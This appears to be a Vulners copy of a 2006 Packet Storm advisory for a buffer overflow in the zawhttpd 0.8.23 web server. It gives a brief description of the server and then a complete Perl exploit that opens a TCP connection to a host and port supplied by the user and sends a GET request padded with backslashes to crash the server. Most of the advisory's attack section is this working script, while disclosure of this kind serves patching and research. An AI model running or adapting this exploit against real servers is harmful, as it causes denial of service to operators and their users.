Lucene search
K

zawhttpd0823.txt

🗓️ 06 May 2006 00:00:00Reported by Kamil SienickiType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 21 Views

zawhttpd 0.8.23 Buffer Overflo

Code
`Name: zawhttpd   
Version: 0.8.23 previous version probably too.  
Language: C  
Problem: Buffer Overflow  
Vendor: http://www.norz.org/zawhttpd.html  
Discovered by: Kamil 'K3' Sienicki  
  
Description:  
zawhttpd is a mini Web server that features HTTP/1.0 and 1.1 support,   
keep-alive persistent connections, IPv6 support, GET and HEAD requests,  
chunked encoding and content-range, directory listing, basic  
authentication,  
access logging, daemon mode, and more.  
  
Problem:  
A remote user can supply a specially crafted data which crash server.  
  
Exploit:  
#!/usr/bin/perl  
# zawhttpd Buffer Overflow Exploit   
# by Kamil 'K3' Sienicki  
  
use IO::Socket;  
use strict;  
  
my($socket) = "";  
  
if($socket = IO::Socket::INET->new(  
PeerAddr => $ARGV[0],  
PeerPort => $ARGV[1],  
Proto => "TCP"))  
{  
print "Attempting to kill zawhttpd at $ARGV[0]:$ARGV[1] ...";   
print $socket "GET \\\\\\\\\\\\\\\\\\\\ HTTP/1.0\r\n\r\n";  
close($socket);  
}  
else  
{  
print "perl zawhttpd.pl localhost 80 \n";  
print "Cannot connect to $ARGV[0]:$ARGV[1]\n";  
}  
  
--  
Kamil 'K3' Sienicki  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

06 May 2006 00:00Current
7.4High risk
Vulners AI Score7.4
21